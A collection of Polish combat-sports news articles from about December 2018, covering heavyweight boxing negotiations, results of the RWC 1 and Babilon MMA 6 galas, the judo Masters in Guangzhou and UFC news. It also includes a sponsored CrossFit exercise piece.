Zapewne jednym z wydarzeń, które utkwiło miłośnikom pięściarstwa w pamięci jest walka Deontaya Wildera z Tysonem Fury'm. Pojedynek miał miejsce 1 grudnia, więc stosunkowo niedawno, ale nie chodzi tu o czas, lecz o atrakcyjność starcia. Wilder i Fury zaprezentowali boks na wysokim poziomie. Pogromca Władimira Kliczki potrafił przeciwstawić się gromiącemu kolejnych rywali Amerykaninowi. Choć Fury leżał na deskach, w przekroju całego starcia zaserwował Wilderowi mnóstwo kłopotów. Werdykt – remis.

W wadze ciężkiej jest niezwykle gorąco! Wilder i Fury chcieliby spotkać się z Anthony'm Joshuą, który rządzi w kategorii królewskiej. W marcu w Cardiff pokonał Josepha Parkera i wzbogacił swoją kolekcję o pas WBO. "AJ" ma na rozkładzie również Aleksandra Powietkina. Joshua znajduje się w posiadaniu pasów IBF, IBO, WBA, WBO.

W 2018 roku zakończyła się I edycja turnieju World Boxing Super Series. Triumfatorem rywalizacji w kategorii super średniej został Callum Smith, który w finale w siódmej rundzie znokautował George'a Grovesa. Udany rok ma za sobą Oleksandr Usyk. Ukrainiec miał na koncie pas mistrzowski WBO w wadze junior ciężkiej, który odebrał we wrześniu 2016 Krzysztofowi Głowackiemu. W 2018 roku do swojej kolekcji dołożył tytuły WBC, IBF i WBA oraz został triumfatorem turnieju WBSS. Na dokładkę Usyk pokonał Tony'ego Bellewa. Bez wątpienia kończący się rok należał do Ukraińca, o którym mówi się, że niebawem będzie boksował w wadze ciężkiej.

We wrześniu w Las Vegas miała miejsce kolejna odsłona rywalizacji Giennadija Gołowkina z Saulem Alvarezem. Pierwsza walka zakończyła się remisem, więc rewanż był nieodzowny. 50. zwycięstwo w karierze na swoim koncie zapisał "Canelo". Sędziowie nie byli jednomyślni, bo pojedynek obfitował w liczne wymiany. Żaden z bokserów się nie oszczędzał, ale dwóch arbitrów wskazało na Alvareza, jeden ocenił walkę jako remisową.

Tymczasowy tytuł WBO wagi junior ciężkiej należy do Krzysztofa Głowackiego. W Chicago Polak pokonał Maksima Własowa, dzięki czemu awansował do półfinału drugiej edycji WBSS. Tam czeka na niego Mairis Briedis.

Z kolei w listopadzie w Gliwicach doszło do wyczekiwanego pojedynku na polskim podwórku. Artur Szpilka pokonał decyzją sędziów Mariusza Wacha, choć werdykt wzbudził spore emocje. Podczas tej samej gali tytuł WBC wagi super półśredniej obroniła Ewa Piątkowska.

Przed świętami w Radomiu Robert Parzęczewski udowodnił, że jest czołowym pięściarzem wagi półciężkiej w Polsce. W Radomiu w drugiej rundzie posłał na deski Dariusza Sęka. "Arab" pozostaje niepokonany od ponad trzech lat.

Fot. Anthony Joshua Facebook

KM

RWC 1: Wygrana Sajewskiego

Tuż przed Świętami Bożego Narodzenia odbyła się pierwsza gala organizacji Rocky Warriors Cartel. W walce wieczoru triumfował Łukasz Sajewski.

W Kościerzynie miało miejsce Nowe Rozdanie. Tak organizacja Rocky Warriors Cartel zatytułowała swoją pierwszą galę, podczas której odbyło się dziewięć pojedynków w MMA i K-1. Na kolejne imprezy czekamy w 2019 roku.

Gwiazdą wieczoru miał być Łukasz Sajewski, który ponad trzy lata czekał na zwycięstwo. Po trzech porażkach "Wookie" pożegnał się z UFC, a w ostatniej walce na gali GMC 17 przegrał z Nordinem Asrihem. Sajewski czekał na czternaste zwycięstwo w karierze i liczył, że przyjdzie ono w Kościerzynie. Jego rywalem był Yury Ryaboy. Sajewski potrzebował niecałych czterech minut, aby poddać Rosjanina. Skuteczna kimura dała Polakowi upragnione zwycięstwo, dzięki któremu przerwał złą passę.

Trzy rundy trwała walka na zasadach K-1 pomiędzy Arturem Bizewskim a Aboodem Al Hassanim. Starcie było niezwykle zacięte, co nie ułatwiło decyzji sędziom. Niejednogłośnie wygrał Al Hassani, dla którego był to ósmy zawodowy triumf. 

Po ciekawej walce dziewiąty triumf na swoim koncie zapisał Kacper Formela, który pokonał decyzją sędziów Sebastiana Rajewskiego. Podczas gali w Kościerzynie nie brakował efektownych zakończeń. W pierwszej rundzie Sławomir Bryla znokautował Dawida Sadowskiego, równie szybko z rywalem uporał się Ireneusz Szydłowski. Drugiej porażki w karierze doznał Marcin Pionke. Jego pogromcą okazał się Cezary Oleksiejczuk.

Wyniki gali Rocky Warriors Cartel: Nowe Rozdanie:

70 kg: Łukasz Sajewski pokonał Yuriy'a Ryaboy'a przez poddanie w pierwszej rundzie
K-1: Adam Abood Al Hassani pokonał Artura Bizewskiego przez niejednogłośną decyzję sędziów
97 kg: Sławomir Bryla pokonał Dawida Sadowskiego przez KO w pierwszej rundzie
70 kg: Kacper Formela pokonał Sebastiana Rajewskiego przez jednogłośną decyzję sędziów
80 kg: Cezary Oleksiejczuk pokonał Marcina Pionkego przez jednogłośną decyzję sędziów
84 kg: Ireneusz Szydłowski pokonał Krzysztofa Sowę przez TKO w pierwszej rundzie
72,5 kg: Kacper Bróździak pokonał Mateusza Makarowskiego przez poddanie w pierwszej rundzie
67 kg: Dawid Śmiełowski pokonał Dawida Matyszczaka przez poddanie w trzeciej rundzie
73 kg: Filip Bątkowski pokonał Sylwestra Ziębę przez poddanie w drugiej rundzie

KM

Wprowadź do swojego treningu te 3 proste ćwiczenia CrossFitowe i zadbaj o lepszą formę!

Bez względu na to w której grupie osób jesteś, zawsze możesz trenować ogólnorozwojowo wykonując ćwiczenia na dużej intensywności – kluczem jest odpowiednie dopasowanie skali trudności konkretnych elementów treningowych. Właśnie dlatego Crossfit może ćwiczyć każdy.

Okej, czym w ogóle jest CrossFit? Wiele osób postrzega to zjawisko jako trend, który pojawił się w siłowniach, ludzie oszaleli na jego punkcie ze względu na jego rewelacyjne efekty w aspekcie odchudzania… Jest w tym trochę prawdy, niemniej jednak musimy pamiętać, że programowanie CrossFitowe to nic innego jak dobrze wszystkim znane ćwiczenia, które połączone w odpowiedni sposób dają nam efekt treningu funkcjonalnego. Mimo, iż ten rodzaj treningu swoje korzenie ma w służbach specjalnych to jego ewolucja sprawiła, że może to robić dosłownie każdy – od nastolatka po starsze osoby!

Oto trzy najpopularniejsze ćwiczenia, które możesz wdrożyć do swoich treningów dla jeszcze lepszych efektów. Będziesz zaskoczony jakie to proste i skuteczne, sprawdź!

  • Burpees – czyli po naszemu wariacja na temat ćwiczenia nazwanego “krokodylki”. Jest to element treningowy, którego zadaniem jest podniesienie tętna w naszym ciele. Doskonałe jeśli chcesz poprawić swoją kondycję i zadbać o ogólny rozwój sylwetki. To ćwiczenie wymaga od nas zaangażowania większości mięśni i wzmacnia nas wydolnościowo. Mimo, że na pozór wygląda banalnie, jest to jedno z bardziej wymagających ćwiczeń, a osoby które trenują CrossFit wiedzą, że jak na tablicy pojawia się to ćwiczenie, trening będzie udany 🙂

Jeżeli nie jesteś w stanie zrobić docelowego ruchu, zmniejsz poziom zaawansowania robiąc burpee na wykrok (bez odskoku/ doskoku nogami). Jest to mniej dynamiczna, ale cały czas wymagająca praca dla Twojego ciała. Jeżeli ta wersja stanowi problem, spróbuj wykonać odłożenie rąk na ziemię z pozycji stojącej, wraz z wyjściem nóg do pozycji pompki.

  • Thruster – To ćwiczenie w słowniku polskim widnieje jako wyciskopodrzut, dlatego od was zależy jaką formę nazewnictwa przyjmiecie 🙂 Jeżeli chodzi o samo ćwiczenie będzie to przysiad z obciążeniem trzymanym z przodu wraz z wypchnięciem ciężaru nad głowę, połączony w jeden płynnie wykonany element treningowy.

Dobrze wykonany przysiad to absolutny fundament każdego treningu Crossfit – jeżeli nie do końca wiesz jak go zrobić poprawnie, zachęcamy do uczestnictwa w klasie INTRO w boxie CrossFitowym – zazwyczaj takie zajęcia są darmowe, a dzięki temu będziesz miał/a fundamentalną wiedzę na temat bardziej skomplikowanych ruchów jak wspomniany wyżej przysiad czy docelowy Thruster.

""

Ciężar, który dobierzesz do Thruster’a będzie najprawdopodobniej uzależniony od możliwości w wypchnięciu ciężaru nad głowę, gdyż ten element będzie w znakomitej większości słabszy niż przysiad.

Spróbuj wykonać w zaciszu domowym kilka przysiadów wraz z uniesieniem rąk w końcowej fazie, tak jakbyś chciał/a wyrzucić coś nad głowę. Jeżeli to nie stanowiło problemu spróbuj delikatnie dodawać obciążenie, pomijając fazę wyrzutu ciężaru nad głowę – na początku do treningu możesz wykorzystać butelki z wodą, z biegiem czasu jeśli zdecydujesz się na treningi w grupie będziesz trenował/a na sztandze, piłce lekarskiej, kettlebells czy na sztangielkach.

  • Double Unders – czyli podwójne skoki na skakance, które stały się znakiem rozpoznawczym CrossFitu 🙂 W tym ćwiczeniu najważniejsze jest opanowanie prawidłowej techniki, a także posiadanie odpowiedniego sprzętu – najlepsze skakanki profilowane pod Crossfit, także dla osób zaczynających swoją przygodę z tą dyscypliną znajdziesz w największym sklepie CrossFitowym w Polsce, czyli unbrokenstore.com

Nie zniechęcaj się jeśli na początku podwójne skoki “nie wchodzą” tak jakbyś tego chciał – niektórzy zawodnicy na światowym poziomie nie mogą poradzić sobie z double unders do tej pory 🙂 To ćwiczenie doskonale zwiększa naszą wydolność i koordynację ruchową. Dodatkowo daje niesamowitą satysfakcję kiedy zrobisz kilka podwójnych skoków pod rząd – niektórzy robią ich w ciągłości nawet ponad 300 razy!

""

Podsumowując, nie rzucaj się od razu na głęboką wodę – jedyne co zrobisz to zniechęcisz się do dalszych ćwiczeń. Rób progresję krok po kroku, a jeżeli uznasz, że jest dobrze, spróbuj swoich sił w boxie CrossFit na zajęciach grupowych. Na początku kluczowa będzie technika wykonywanych elementów. Dobrze gdybyś skonsultował z trenerem lub kompetentną osobą swój plan treningowy w odniesieniu do oczekiwań.

 

Na sam koniec – baw się tym i nie zapominaj, że aktywność fizyczna to najlepsza forma spędzania wolnego czasu. Zawyżone ambicje zostaw za sobą – najważniejsze jest zdrowie!

Autor: Karol Różycki, redaktor naczelny firmowego bloga sklepu crossfit – Unbroken Store

Nowe rozdanie w Kościerzynie

21 grudnia w hali Sokolnia w Kościerzynie premierowa gala organizacji Rocky Warriors Cartel. W akcji zobaczymy m.in. byłego zawodnika UFC Łukasza Sajewskiego.

Rocky Warriors Cartel to nowa organizacja na rynku sportów walki w Polsce. Pierwsze informacje na temat planowanej premierowej gali podmiotu pojawiły się w sierpniu. Wraz z upływem czasu sprawy nabierały kształtu, a organizacja ogłaszała nazwiska kolejnych zawodników, którzy zaprezentują się w Kościerzynie. Debiut coraz bliżej. W Kościerzynie organizacja RWC chce zaaplikować dawkę dobrych pojedynków MMA i K-1.

Niezaprzeczalnie największe wrażenie robi obecność w karcie walk Łukasza Sajewskiego. Popularny "Wookie" znajduje się na zakręcie. Wszystko układało się idealnie – trzynaście kolejnych zwycięstw i przed Sajewskim otworzyły się drzwi do rywalizacji w UFC. Tam przetrwał zaledwie nieco ponad rok. Trzy walki, trzy porażki i koniec przygody. W tym roku Sajewski walczył na gali German MMA Championship 17, jednak przegrał z Nordinem Asrihem. W Kościerzynie będzie miał okazję wrócić na właściwe tory. Polak nie będzie miał łatwego zadania, ponieważ na jego drodze stanie Yury Ryaboy. Rosjanin ma za sobą serię trzech zwycięstw z rzędu.

Podczas gali Rocky Warriors Cartel 1: Nowa Rozdanie zaprezentuje się znany z występów dla organizacji Fight Exclusive Ngiht Artur Bizewski. Pierwotnie popularny "Bizon" w walce na zasadach K-1 miał rywalizować z Bartoszem Zającem, jednak ostatecznie jego rywalem będzie Adam Adoobd Al Hassani. Zawodowy mistrz Polski low kick legitymuje się rekordem siedmiu wygranych walk, z których sześć zakończył przed czasem. Bizewski ostatnio przegrał z Arkadiuszem Wrzoskiem i nic nie wskazuje na to, żeby w Kościerzynie miał ułatwione zadanie, aby osłodzić sobie ostatnie niepowodzenie.

Po dziewiąty triumf będzie zmierzał, uważany za wielki talent polskiego MMA, Kacper Formela. 22-latek ma za sobą występ na gali ACB 63, gdzie zwyciężył Armena Stepanyana, jednak ostatnio na CW 91 przegrał przed czasem z Masonem Jonesem. W Kościerzynie Formela zmierzy się z Sebastianem Rajewskim. Podczas RWC 1 zobaczymy starcie 44-letniego Ireneusza Szydłowskiego z wchodzącym do zawodowego MMA Krzysztofem Sową.

Na ostatniej prostej przed galą RWC 1 z karty walk wypadło aż pięciu zawodników. Z powodu kontuzji z Kościerzynie nie wystąpią Piotr Grażewicz, Bartosz Łukaszewicz, Hubert Lotta, a kłopoty zdrowotne trapią również Igora Michaliszyna. Z powodów osobistych ze startu musiał zrezygnować Tomasz Matusewicz. Organizatorzy dołożyli wszelkich starań, aby wypełnić kartę walk i znaleźć zastępstwa. Sławomir Bryla zmierzy się z Dawidem Sadowskim, a rywalem Marcina Pionke będzie Cezary Oleksiejczuk. Kacper Bróździak spotka się z Mateuszem Makarowskim, Filip Bątkowski w pierwszej zawodowej walce będzie rywalizował z Sylwestrem Ziębą. Podopieczny Krzysztofa Kułaka – Dawid Śmiełowski o trzecie zwycięstwo powalczy z Dawidem Matyszczakiem.

KM

Joshua jednak z Millerem?

W zaplanowanym na 13 kwietnia pojedynku Anthony Joshua chciałby zmierzyć się z Deontayem Wilderem o miano króla wagi ciężkiej. Obóz 29-latka z Watfordu szykuje wyjście awaryjne, gdyby plany nie ziściły się. Z kolei inny pięściarz wagi ciężkiej – Aleksandr Powietkin upatrzył sobie rywala.

Co do Joshuy, jego rywalizacja z Wilderem byłaby wielkim wydarzeniem w boksie. Starcie o panowanie w wadze ciężkiej. Na szali pojawiłyby się pasy: IBF, IBO, WBA, WBO należące do Joshuy oraz WBC, którego właścicielem jest Wilder. 29-latek nie ukrywa, że chciałby spotkać się z Amerykaninem i otwarcie o tym mówi. Z kolei obóz Wildera negocjuje w walkę rewanżową z Tysonem Fury’m. Grudniowe starcie obu pięściarzy przyniosło wiele emocji, jednak zakończyło się remisem. Jeśli strony dojdą do porozumienia w kwestii rewanżu, Joshua będzie musiał poszukać innego rywala.

Obiektem zainteresowań mistrza IBF, IBO, WBA i WBO jest Jarrell Miller. 30-letni Amerykanin w tym roku pokonał Tomasza Adamka, a wcześniej uporał się z Mariuszem Wachem. Miller ma na koncie 23 wygrane, w tym 20 przed czasem. Jeśli Joshua miałby rywalizować z Amerykaninem, musiałby zmienić nieco plany. Zapewne kolejna walka mistrza nie odbyłaby się 13 kwietnia na Wembley. W grę wchodzi zmiana nie tylko terminu, ale i lokalizacji. Starcie Joshuy z Millerem miałoby się odbyć w czerwcu w Madison Square Garden. Istotna w tym kontekście jest również styczniowa walka Amerykanina, która musi zakończyć się jego sukcesem.

Taki rozwój wypadków sprawia, że 13 kwietnia na Wembley możliwa byłaby inna walka – Kell Brook spotkałby się z Amirem Khanem.

Powietkin zapolował

Rosyjski pięściarz Aleksander Powietkin myśli o kolejnej walce. We wrześniu na Wembley poniósł porażkę w mistrzowskim starciu z Anthonym Joshuą. Powietkin chce wrócić do rywalizacji na wiosnę, a jego potencjalnym rywalem miałby być zwycięzca sobotniego (22 grudnia) pojedynku pomiędzy Dillianem Whyte'em a Dereckiem Chisorą. To rewanżowe starcie tych pięściarzy. W grudniu 2016 lepszy okazał się Whyte, który po niezwykle ciekawej walce wygrał niejednogłośnie na punkty.

KM

Krótka przygoda z Guangzhou

W turnieju IJF World Masters w judo w Guangzhou wystąpiło czworo reprezentantów Polski, jednak ich przygoda nie potrwała zbyt długo. Najlepsi w klasyfikacji medalowej okazali się Japończycy.

W tym roku najlepsze zawodniczki i zawodnicy w rankingu Międzynarodowej Federacji Judo zjawili się w Guangzhou. Pierwsze zawody rozegrano osiem lat temu – w Suwon. Wtedy Polacy wywalczyli jedyny jak do tej pory medal – po brąz sięgnęła Urszula Sadkowska (+78kg).

Łącznie na listach startowych w Guangzhou było 230 judoków, w tym czworo Polaków. Po raz trzeci w turnieju Masters wystąpiła Agata Ozdoba-Błach (63kg), która w tym sezonie zapisała na swoim koncie brązowy medal Grand Prix w Budapeszcie. W poprzednich dwóch występach Polka odpadała po pierwszych walkach. Podobnie było w Chinach, gdzie Ozdoba-Błach przegrała z tegoroczną wicemistrzynią świata Miku Tashiro.

Stabilna forma Agaty Perenc (52kg) ponownie pozwoliła jej na występ w turnieju Masteres. Podobnie jak w zeszłym roku, zawodniczka Polonii Rybnik udział w zawodach zakończyła po jednym pojedynku. Perenc przegrała przed czasem z Francuzką Amadine Buchard, która ostatecznie zajęła drugie miejsce. Trzykrotnie stawała na najniższym stopniu w podium w tym roku, jednak w Guangzhou Beata Pacut (78kg) musiała obejść się smakiem. Drugie podejście do turnieju Masters również nieudane w wykonaniu Polki. Pacut przegrała z mistrzynią Europy Madeleine Malongą.

W zeszłorocznym starcie w Sankt Petersburgu Maciej Sarnacki (+100kg) zajął bardzo dobre piąte miejsce. Wyniku nie udało się powtórzyć. Tak jak koleżanki z kadry, zawodnik Gwardii Olsztyn stoczył jedną walkę. Jego pogromcą okazał się Shaotong Yuan.

Japończycy rządzą

Patrząc na klasyfikację medalową nie można mieć wątpliwości, kto rozdaje karty w światowym judo. Turniej w Guangzhou zdominowali Japończycy, którzy zdobyli siedem złotych medali na czternaście możliwych. Dwa razy na najwyższym stopniu podium stanęli Gruzini.

Po ubiegłorocznym srebrze, po złoto sięgnęła Japonka Tsukasa Yoshida (52kg). Drugi triumf w turnieju Masters zaliczył Gruzin Varlam Liparteliani (100kg). Podobnie jego rodak – Guram Tushishvili (+100kg). Trzeci medal, ale w końcu złoty wywalczył Rustam Orujov. Wcześniej reprezentant Azerbejdżanu dwukrotnie stawał na trzecim stopniu podium. Po zwycięstwie w mistrzostwach świata przyszedł czas na triumf w Guangzhou. Taką drogą poszedł Hiszpan Nikoloz Sherazadisvili (90kg).

KM

Skibiński z pasem mistrzowskim Babilon MMA

Gala Babilon MMA 6 wyłoniła pierwszego w historii mistrza organizacji. W Raszynie po pas w kategorii półśredniej sięgnął Daniel Skibiński, który pokonał Pawła Pawlaka.

15 grudnia zapisze się w historii organizacji Babilon MMA 6 jako wyjątkowy dzień. W hali Centrum Sportu Raszyn odbyła się pierwsza walka o pas mistrzowski federacji. Głównymi aktorami widowiska byli niepokonani podczas gal Babilon MMA – Paweł Pawlak i Daniel Skibiński. Pierwszy z nich ma za sobą bogaty bagaż doświadczeń. Pawlak występował w UFC, gdzie stoczył trzy walki. Później rywalizował na galach organizacji FEN i w końcu trafił do Babilon MMA. Dotychczas pokonał Adama Niedźwiedzia i Rafała Lewonia. Z kolei Daniel Skibiński pozostawał niepokonany od dwóch lat. W tym czasie odniósł sześć zwycięstw, trzy na galach Babilon MMA. Skibiński potrzebował zaledwie 20 sekund, aby zwyciężyć Giovanniego Melillo w swoim ostatnim występie w Międzyzdrojach. Od początku w Raszynie 28-latek imponował aktywnością. Skibiński zaliczył dwa udane obalenia, jednak Pawlak nie pozwolił rywalowi na wiele. Druga runda w dużej mierze rozgrywała się pod siatką, choć na początku konieczna była… przerwa. Pawlak trafił rywala w krocze. Skibiński co i raz próbował kolan, mocno trzymał rywala, a ten bronił się i starał się uwolnić z opresji. Trzecia odsłona na korzyść „Skiby”. Po obalenie poszedł Pawlak, jednak inicjatywa była po stronie 28-latka, która próbował duszenia. Pawlak wytrzymał, ale jego rywal prezentował się lepiej, a czas uciekał. Czwarta runda również pod kontrolą Skibińskiego. Na przestrzeni całej walki lepiej prezentował się 28-latek, który w parterze był zdecydowanie aktywniejszy. W stójce Pawlak próbował „ukąsić” rywala, ale nie zagroził Skibińskiemu. Decyzja sędziów mogła być tylko jedna – pas trafił w ręce „Skiby”.

Na jedenaste zwycięstwo liczyli Rafał Haratyk i Maciej Różański, jednak któryś z nich musiał przegrać. Dla zawodnika Berserkers Team Szczecin występ w Raszynie stanowił debiut w Babilon MMA. Po trzech zwycięstwach do miana gwiazdy organizacji urastał Haratyk. Receptą na sukces okazała się walka z dystansu. Haratyk zadawał kolejne ciosy, które dochodziły do celu. Na dystansie trzech rund Różański nie potrafił zagrozić rywalowi. Jednogłośne zwycięstwo Haratyka, dla którego był to czwarty triumf w Babilon MMA.

Ponownie przed czasem zwyciężył Łukasz Brzeski. Od samego początku zawodnik NKSW Hoły Team Nowy Targ ruszył na Michała Orkowskiego. Był mocne ciosy, jednak rywal szukał parteru. Pierwsza runda dała się zawodnikom we znaki, co było widać na początku kolejnej odsłony. Zmęczony Orkowski próbował sprowadzenia, ale skończyło się to dla niego fatalnie. Po czterdziestu sekundach sędzia przerwał walkę. Skuteczne ciosy Brzeskiego dały mu szóste zwycięstwo w karierze.

Pięć wygranych z rzędu, w tym cztery przed czasem, stanowiło mocny atut Adriana Kępy przed pojedynkiem z Damianem Zorczykowskim. Jednak pochodzący z Łomży zawodnik mierzył w trzecie zwycięstwo w Babilon MMA. Zorczykowski szukał obalenia i w końcu je znalazł. W drugiej rundzie skuteczne duszenie zza pleców w wykonaniu 30-latka i Kępa zmuszony był odklepać.

Piotr Kacprzak przeważał w starciu z Filipem Lamparskim, jednak ten długo skutecznie się bronił, jednak na cztery sekundy przed końcem 20-latek triumfował. Z ambicją walczyli młodzi zawodnicy. W trzeciej rundzie skuteczne ciosy w parterze dały zwycięstwo Jakubowi Niewiadomskiemu w starciu z Gabrielem Żmudziem. Jednogłośną decyzją sędziów Paweł Szumlas pokonał Tomasza Smyka.

KM

Kogo na emeryturę chce wysłać Jotko?

Krzysztof Jotko powoli wraca do zdrowia po kontuzji kolana, jednak na jego powrót do oktagonu trzeba poczekać.. Zainteresowany starciem z 29-latkiem jest doświadczony Daniel Kelly. Między zawodnikami wywiązała się dyskusja.

Jotko miał rywalizować o "być albo nie być" w amerykańskiej organizacji podczas gali UFC Fight Night 136 w Moskwie, którą zaplanowano na 15 września. Zawodnik kategorii średniej szykował się do starcia z Adamem Jandijewem. W sierpniu musiał wycofać się z walki z powodu kontuzji. Podczas przygotowań w American Top Team Polak zerwał więzadła w kolanie. Operacja i kilka miesięcy przerwy, aby wrócić do pełnej sprawności.

Dobra postawa polskiego zawodnika sprawiła, że znalazł się w najlepszej dziesiątce dywizji średniej. Fantastyczna seria pięciu zwycięstw z rzędu wysoko wywindowała Jotkę, jednak trzy kolejne porażki postawiły jego przyszłość w UFC pod znakiem zapytania. Następna walka będzie miała dla Polaka dodatkowy ciężar. Porażka może nieść ze sobą określone konsekwencje.

Jotko czeka na powrót, jednak rywale o nim nie zapominają. Do ostatniego pojedynku w karierze przymierza się Daniel Kelly. Australijczyk chciał wystąpić podczas UFC Fight Night 142 w Adelaide, jednak nic z tego nie wyszło. Teraz przymierza się do UFC 234 w Melbourne. Galę zaplanowano na 9 lutego. – Marvin Vettori lub Krzysztof Jotko – któryś z was zainteresowany? – zapytał Kelly na Twitterze. Jotko odpowiedział i wysunął swoją propozycję. – Proszę… Stary tatusiek chce wrócić i dostać lanie od młodszego zawodnika? Będzie to dla mnie przyjemność wysłać cię na emeryturę. Jeśli chcesz, możemy zrobić to w kwietniu.

41-latek nie pozostał dłużny. – Haha, jestem przekonany, że mamy taki sam bilans w UFC. Pokonywałem mocniejszych zawodników. Dlaczego nie luty? Boisz się tu przylecieć? To jeszcze dziewięć tygodni – napisał Kelly. Jotko podał w wątpliwość twierdzenia Australijczyka. – Walczyłeś z mocniejszymi przeciwnikami? Miły żart – podsumował Jotko i dodał. – Miałem poważną kontuzję. Jeśli chciałoby cię po ostatniej walce, wiedziałbyś o tym.

Co warto podkreślić, Kelly również przegrał ostatnie trzy walki. W maju w Liverpoolu Australijczyk poległ w starciu z Tomem Breese.

Fot. Krzysztof Jotko Facebook

KM

Wieczór gwiazd?

Wiadomo, że 13 kwietnia na stadionie Wembley kolejną walkę stoczy mistrz świata IBF, IBO, WBA, WBO w kategorii ciężkiej Anthony Joshua. Czy tego samego dnia w akcji zobaczymy Deontaya Wildera i Tysona Fury'ego?

1 grudnia w Los Angeles pogromca Władimira Kliczko pokazał się z dobrej strony i zaskoczył mistrza świata WBC. Pojedynek zakończył się remisem, choć zdania na temat ostatecznego werdyktu były podzielone. Po walce ruszyły spekulacje na temat ewentualnego rewanżu. Wiadomo również, że zarówno Fury, jak i Wilder mają na celowniku Joshuę. Zatem – jak pogodzić interesy wszystkich?

Z jednej strony Wilder gotów jest dać rewanż Fury’emu, z drugiej chce spełnić swoje marzenia o zdominowaniu wagi ciężkiej. Joshua dał znak, że jest gotowy spotkać się z Amerykaninem. 29-latek pochodzący z Watfordu na pewno zaprezentuje się 13 kwietnia na stadionie Wembley. Promotor Joshuy – Eddie Hearn czyni wysiłki, aby rywalem jego zawodnika był Wilder.

Dobra oferta zapewne przemówiłaby do Amerykanina, ale pojawia się inna opcja. W tym momencie zaczyna się swego rodzaju szaleństwo. Promotor Fury'ego Frank Warren chciałby 13 kwietnia doprowadzić do rewanżu z Wilderem! Wyraźnie widać, że ktoś musiałby być z takiego układu niezadowolony. Zapewne ten, kto "zostałby na lodzie". Rewanż Wilder-Fury w dniu 13 kwietnia pokrzyżowałby plany o walce unifikacyjnej, a zarazem starcie Joshuy zeszłoby na drugi plan. Trzecia płaszczyzna – walka o widzów, a zarazem sprzedaż pakietów pay per view (pojedynek stacji Sky i BT Sport).

Powyższe rozważania prowadzą do jednego wniosku – w każdym rozwiązaniu zwycięzcą będzie Wilder. Chyba, że obóz Fury’ego nagle zacznie interesować się starciem z Joshuą, lecz mistrz również musi wyrazić taką wolę. Dla posiadacza czterech pasów mistrzowskich celem jest Wilder. "Dopóki piłka w grze, wszystko jest możliwe". Teraz Hearn musi przygotować ofertę, która przekona do starcia na Wembley Wildera. Rozmowy na temat potencjalnej walki trwają już kilka miesięcy, jednak porozumienia dotychczas nie osiągnięto. Wiadomo, że starcie przyniesie ogromne zyski, więc potrzeby każdej ze stron muszą być zaspokojone.

Jeśli jednak dojdzie do rewanżu Wilder-Fury, Joshua będzie musiał poszukać innego rywala i na pojedynek unifikacyjny znowu trzeba będzie poczekać. Wśród potencjalnych rywali 29-latka wymienia się Dilliana Whyte’a.

Fot. Deontay Wilder Facebook

KM

Ciągle do przodu

Porażka stanowi jedno z doświadczeń w karierze sportowca. W wielu przypadkach jest przyczyną do bardziej wytężonej pracy i stawiania sobie kolejnych celów. Porażka w starciu z Walentiną Szewczenko, nie zamyka żadnych drzwi w UFC przed Joanną Jędrzejczyk.

31-letnia Polka na przestrzeni trzynastu miesięcy przegrała po raz trzeci walkę o pas. Najpierw straciła tytuł w kategorii słomowej na rzecz Rose Namajunas, później uległa Amerykance w rewanżu, a w pojedynku o mistrzostwo wagi muszej lepsza okazała się Szewczenko. Z pewnością Jędrzejczyk znajduje się na zakręcie. Jeszcze niedawno była na szczycie, wygrywała walkę za walkę i uznawana była za gwiazdę kobiecego MMA. Teraz sytuacja odwróciła się, ale 31-letnia olsztynianka nadal zamierza robić swoje. Hart ducha, ambicja i gotowość do ciężkiej pracy, aby nadal być w czołówce UFC. Z drugiej strony warto zwrócić uwagę, że w rywalizacji pań łatwiej pozostać w obiegu z prostej przyczyny – mniej mocnych nazwisk, które przyciągają uwagę, a zarazem cztery kategorie wagowe. Jędrzejczyk swoich sił próbowała już w dwóch z nich.

Nic nie wskazuje na to, żeby UFC chciało pozbyć się Polki. 31-latka zrobiła wiele dobrego w amerykańskiej organizacji. Prezydent UFC w wywiadzie z Megan Olivi przyznał, że widzi Jędrzejczyk w kategorii do 155 funtów. 31-letnia Polka jest gotowa na taki ruch, ale pod warunkiem rywalizacji o pas mistrzowski. Jędrzejczyk zadeklarowała chęć pozostania w kategorii muszej. Zapewne prędzej czy później (obojętnie w której wadze) Polka ponownie będzie miała szansę walczyć o pas. Warunek – musi zacząć wygrywać. Jeśli kolejna walka zakończy się jej porażką, wtedy zaczną się prawdziwe kłopoty.

Przed starciem z Szewczenko, Jędrzejczyk dawano mniej szans na zwycięstwo. Pokutowała przeszłość, ponieważ muay tai trzykrotnie lepsza była zawodniczka reprezentująca Peru. Dodatkowo – Polka wracała do kategorii muszej. Na myśli przychodzi sytuacja z Rondą Rousey, która panowała w kategorii koguciej, jednak niespodziewanie przegrała z Holly Holm. Wróciła i doznała porażki w starciu z Amandą Nunes. Jednak przypadek Amerykanki był zgoła inny. Rousey mocno przeżywała utratę pasa i pierwszą porażkę w karierze. W jednym z wywiadów powiedziała, że chciała odebrać sobie życie.

Jak widać – każdy sportowiec przyjmuje porażkę w inny sposób. Obecnie Rousey występuje w organizacji WWE (wrestling). Wydaje się, że w przypadku Jędrzejczyk porażka działa na nią „jak płachta na byka”. Polka na dobre zagnieździła się w UFC i nadal będzie się tam rozpychała łokciami. Obecnie nadal jej w uprzywilejowanej pozycji, ale kolejna porażka może ją diametralnie zmienić. – Czas wracać do domu do Polski. Do zobaczenia wkrótce – napisała na Facebooku Jędrzejczyk. Zatem czekamy cierpliwie na kolejny pojedynek.

Fot. Joanna Jędrzejczyk Facebook

KM

Na początek czterech

„My czterej pancerni” – chciałoby się zanucić. 16 lutego w Warszawie odbędzie się gala ACA 92, podczas której zobaczymy Marcina Helda, Piotra Strusa, Karola Celińskiego oraz Daniela Omielańczuka. Liczba Polaków może być jednak większa.

Organizacja Absolute Championship Akhmat ujawniła pierwsze karty zaplanowanej na 16 lutego gali, która odbędzie się na stołecznym Torwarze. W Warszawie zaprezentuje się Marcin Held, który zmierzy się z Abdulazizem Abdulvakhabovem. Dla Polaka będzie to trzeci występ w organizacji ACB (obecnie ACA). 26-latek dotychczas wygrywał przed czasem przez dźwignie skrętowe na staw skokowy – pokonał Callana Potter i Musę Khamanaeva.

Po przegranej walce o pas mistrzowski w wadze średniej, kolejny pojedynek stoczy Piotr Strus. We wrześniu na dystansie pięciu rund Polak uległ Albertowi Durajewowi. Wcześniej zanotował cztery wygrane, zaś walkę z Michaił Kołobiegowem ostateczno uznano za no contest. W Warszawie Strus zmierzy się z Ibragimem Czuzhigajewem.

